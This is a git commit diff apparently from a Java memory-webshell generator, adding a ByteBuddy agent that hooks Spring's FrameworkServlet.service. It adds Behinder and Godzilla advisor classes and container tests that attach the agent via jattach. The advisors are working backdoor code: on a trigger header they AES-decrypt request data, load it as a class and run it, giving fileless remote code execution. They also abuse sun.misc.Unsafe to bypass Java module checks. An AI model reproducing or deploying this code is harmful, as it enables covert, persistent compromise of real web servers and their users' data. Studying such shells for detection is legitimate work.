feat: support springwebmvc agent shell

1. hook point is org.springframework.web.servlet.FrameworkServlet.service
2026-09-21 22:50:42 +08:00 · 2025-01-18 18:28:46 +08:00
parent f42424ba7c
commit 113b174837
8 changed files with 295 additions and 9 deletions
@@ -1,12 +1,16 @@
 package com.reajason.javaweb.memshell;

+import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
 import com.reajason.javaweb.memshell.springmvc.behinder.BehinderControllerHandler;
 import com.reajason.javaweb.memshell.springmvc.behinder.BehinderInterceptor;
+import com.reajason.javaweb.memshell.springmvc.behinder.BehinderServletAdvisor;
 import com.reajason.javaweb.memshell.springmvc.command.CommandControllerHandler;
 import com.reajason.javaweb.memshell.springmvc.command.CommandInterceptor;
 import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaControllerHandler;
 import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaInterceptor;
+import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaServletAdvisor;
 import com.reajason.javaweb.memshell.springmvc.injector.SpringControllerHandlerInjector;
+import com.reajason.javaweb.memshell.springmvc.injector.SpringFrameworkServletAgentInjector;
 import com.reajason.javaweb.memshell.springmvc.injector.SpringInterceptorInjector;
 import org.apache.commons.lang3.tuple.Pair;

@@ -21,6 +25,7 @@ public class SpringMVCShell extends AbstractShell {
    public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor";
    public static final String CONTROLLER_HANDLER = "ControllerHandler";
    public static final String JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
+    public static final String AGENT_FRAMEWORK_SERVLET = "AgentFrameworkServlet";

    @Override
    protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
@@ -28,7 +33,8 @@ public class SpringMVCShell extends AbstractShell {
                INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class),
                JAKARTA_INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class),
                CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInjector.class),
-                JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInjector.class)
+                JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInjector.class),
+                AGENT_FRAMEWORK_SERVLET, Pair.of(BehinderServletAdvisor.class, SpringFrameworkServletAgentInjector.class)
        );
    }

@@ -38,7 +44,8 @@ public class SpringMVCShell extends AbstractShell {
                INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class),
                JAKARTA_INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class),
                CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInjector.class),
-                JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInjector.class)
+                JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInjector.class),
+                AGENT_FRAMEWORK_SERVLET, Pair.of(CommandFilterChainAdvisor.class, SpringFrameworkServletAgentInjector.class)
        );
    }

@@ -48,7 +55,8 @@ public class SpringMVCShell extends AbstractShell {
                INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class),
                JAKARTA_INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class),
                CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInjector.class),
-                JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInjector.class)
+                JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInjector.class),
+                AGENT_FRAMEWORK_SERVLET, Pair.of(GodzillaServletAdvisor.class, SpringFrameworkServletAgentInjector.class)
        );
    }
 }
@@ -0,0 +1,2 @@
+#!/bin/bash
+jps | grep -E "jar" | awk '{print $1}' | tr -d '\n'
@@ -30,6 +30,7 @@ public class ContainerTool {
    public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script/jetty_pid.sh"));
    public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script/websphere_pid.sh"));
    public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script/weblogic_pid.sh"));
+    public static final MountableFile springbootPid = MountableFile.forHostPath(Path.of("script/springboot_pid.sh"));

    public static String getUrl(GenericContainer<?> container) {
        String host = container.getHost();
@@ -1,6 +1,7 @@
 package com.reajason.javaweb.integration.springmvc;

 import com.reajason.javaweb.memshell.SpringMVCShell;
+import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
 import com.reajason.javaweb.memshell.packer.Packer;
@@ -18,7 +19,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;

 import java.util.stream.Stream;

-import static com.reajason.javaweb.integration.ContainerTool.springBoot2Dockerfile;
+import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
 import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
 import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,6 +37,8 @@ public class SpringBoot2ContainerTest {
    @Container
    public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
            .withDockerfile(springBoot2Dockerfile))
+            .withCopyToContainer(jattachFile, "/jattach")
+            .withCopyToContainer(springbootPid, "/fetch_pid.sh")
            .waitingFor(Wait.forHttp("/test"))
            .withExposedPorts(8080);

@@ -58,7 +61,10 @@ public class SpringBoot2ContainerTest {
                arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
                arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
                arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL),
-                arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64)
+                arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64),
+                arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packer.INSTANCE.AgentJar),
+                arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
+                arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
        );
    }

@@ -71,7 +77,7 @@ public class SpringBoot2ContainerTest {
    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
    @MethodSource("casesProvider")
    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
-        testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V1_6, packer);
+        testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V1_6, packer, container);
    }

    public static String getUrl(GenericContainer<?> container) {
@@ -18,7 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;

 import java.util.stream.Stream;

-import static com.reajason.javaweb.integration.ContainerTool.springBoot3Dockerfile;
+import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
 import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
 import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,6 +36,8 @@ public class SpringBoot3ContainerTest {
    @Container
    public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
            .withDockerfile(springBoot3Dockerfile))
+            .withCopyToContainer(jattachFile, "/jattach")
+            .withCopyToContainer(springbootPid, "/fetch_pid.sh")
            .waitingFor(Wait.forHttp("/test"))
            .withExposedPorts(8080);

@@ -46,7 +48,10 @@ public class SpringBoot3ContainerTest {
                arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64),
                arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64),
                arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64)
+                arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64),
+                arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packer.INSTANCE.AgentJar),
+                arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
+                arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
        );
    }

@@ -59,7 +64,7 @@ public class SpringBoot3ContainerTest {
    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
    @MethodSource("casesProvider")
    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
-        testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V17, packer);
+        testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V17, packer, container);
    }

    public static String getUrl(GenericContainer<?> container) {
@@ -0,0 +1,96 @@
+package com.reajason.javaweb.memshell.springmvc.behinder;
+
+import net.bytebuddy.asm.Advice;
+
+import java.io.BufferedReader;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/18
+ */
+public class BehinderServletAdvisor {
+    @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
+    public static boolean enter(
+            @Advice.Argument(value = 0) Object request,
+            @Advice.Argument(value = 1) Object res,
+            @Advice.Origin Class<?> targetClazz
+    ) {
+        String pass = "pass";
+        String headerName = "headerName";
+        String headerValue = "headerValue";
+        try {
+            Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
+            java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
+            unsafeField.setAccessible(true);
+            Object unsafe = unsafeField.get(null);
+            Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
+            java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
+            Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
+            java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
+            getAndSetObjectM.invoke(unsafe, targetClazz, offset, module);
+        } catch (Exception ignored) {
+        }
+        try {
+            String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
+            if (value != null
+                    && value.contains(headerValue)) {
+                Map<String, Object> obj = new HashMap<String, Object>(3);
+                obj.put("request", request);
+                Object response = res;
+                Field field = null;
+                Class<?> clazz = obj.getClass();
+                while (clazz != Object.class) {
+                    try {
+                        field = clazz.getDeclaredField("response");
+                        break;
+                    } catch (NoSuchFieldException var5) {
+                        clazz = clazz.getSuperclass();
+                    }
+                }
+                if (field != null) {
+                    field.setAccessible(true);
+                    response = field.get(response);
+                }
+                obj.put("response", response);
+                Object session = request.getClass().getMethod("getSession").invoke(request);
+                session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
+                obj.put("session", session);
+                byte[] data = null;
+                Class<?> base64;
+                BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
+                String parameter = reader.readLine();
+                try {
+                    base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
+                    Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+                    data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
+                } catch (Exception var6) {
+                    base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
+                    Object decoder = base64.newInstance();
+                    data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
+                }
+                Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
+                Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
+                Class<?> keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader());
+                Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES");
+                Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(pass.getBytes(), "AES");
+                Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
+                Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
+                cipherInitMethod.invoke(cipher, 2, secretKeySpec);
+                byte[] bytes = (byte[]) doFinalMethod.invoke(cipher, data);
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
+                Object instance = payload.newInstance();
+                instance.equals(obj);
+                return true;
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return false;
+    }
+}
@@ -0,0 +1,104 @@
+package com.reajason.javaweb.memshell.springmvc.godzilla;
+
+import net.bytebuddy.asm.Advice;
+
+import java.io.ByteArrayOutputStream;
+import java.io.PrintWriter;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+/**
+ * @author ReaJason
+ */
+public class GodzillaServletAdvisor {
+
+    @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
+    public static boolean enter(
+            @Advice.Argument(value = 0) Object request,
+            @Advice.Argument(value = 1) Object response,
+            @Advice.Origin Class<?> clazz
+    ) {
+        String key = "key";
+        String pass = "pass";
+        String md5 = "md5";
+        String headerName = "headerName";
+        String headerValue = "headerValue";
+        try {
+            Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
+            Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
+            unsafeField.setAccessible(true);
+            Object unsafe = unsafeField.get(null);
+            Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
+            Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
+            Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
+            Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
+            getAndSetObjectM.invoke(unsafe, clazz, offset, module);
+        } catch (Exception ignored) {
+        }
+        try {
+            String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
+            if (value != null
+                    && value.contains(headerValue)) {
+                String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
+                byte[] data = null;
+                Class<?> base64;
+                try {
+                    base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
+                    Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+                    data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
+                } catch (Exception var6) {
+                    base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
+                    Object decoder = base64.newInstance();
+                    data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
+                }
+                Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
+                Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
+                Class<?> keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader());
+                Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
+                Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
+
+                Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES");
+                Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(key.getBytes(), "AES");
+                cipherInitMethod.invoke(cipher, 2, secretKeySpec);
+
+                data = (byte[]) doFinalMethod.invoke(cipher, data);
+                Object session = request.getClass().getMethod("getSession").invoke(request);
+                Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
+                if (sessionPayload == null) {
+                    Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                    defineClass.setAccessible(true);
+                    Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
+                    session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload);
+                } else {
+                    request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
+                    ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+                    Object f = ((Class<?>) sessionPayload).newInstance();
+                    f.equals(arrOut);
+                    f.equals(request);
+                    PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
+                    writer.write(md5.substring(0, 16));
+                    f.toString();
+
+                    cipherInitMethod.invoke(cipher, 1, secretKeySpec);
+                    byte[] encryptBytes = (byte[]) doFinalMethod.invoke(cipher, arrOut.toByteArray());
+                    String result = null;
+                    try {
+                        base64 = Class.forName("java.util.Base64");
+                        Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+                        result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes);
+                    } catch (Exception var6) {
+                        base64 = Class.forName("sun.misc.BASE64Encoder");
+                        Object encoder = base64.newInstance();
+                        result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes);
+                    }
+                    writer.write(result);
+                    writer.write(md5.substring(16));
+                }
+                return true;
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return false;
+    }
+}
@@ -0,0 +1,64 @@
+package com.reajason.javaweb.memshell.springmvc.injector;
+
+import net.bytebuddy.agent.builder.AgentBuilder;
+import net.bytebuddy.asm.Advice;
+import net.bytebuddy.description.type.TypeDescription;
+import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.matcher.ElementMatchers;
+import net.bytebuddy.utility.JavaModule;
+
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/28
+ */
+public class SpringFrameworkServletAgentInjector implements AgentBuilder.Transformer {
+
+    static Class<?> interceptorClass = null;
+
+    static {
+        try {
+            interceptorClass = Class.forName(getClassName());
+        } catch (ClassNotFoundException e) {
+            e.printStackTrace();
+        }
+    }
+
+    @Override
+    public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
+                                            TypeDescription typeDescription,
+                                            ClassLoader classLoader, JavaModule module,
+                                            ProtectionDomain protectionDomain) {
+        return builder.visit(Advice.to(interceptorClass).on(named("service")));
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static String getClassName() {
+        return "{{advisorName}}";
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        System.out.println("MemShell Agent is starting");
+        new AgentBuilder.Default()
+                .ignore(ElementMatchers.none())
+                .disableClassFormatChanges()
+                .with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
+//                .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
+//                .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
+                .type(named("org.springframework.web.servlet.FrameworkServlet"))
+                .transform(new SpringFrameworkServletAgentInjector())
+                .installOn(inst);
+        System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
+    }
+}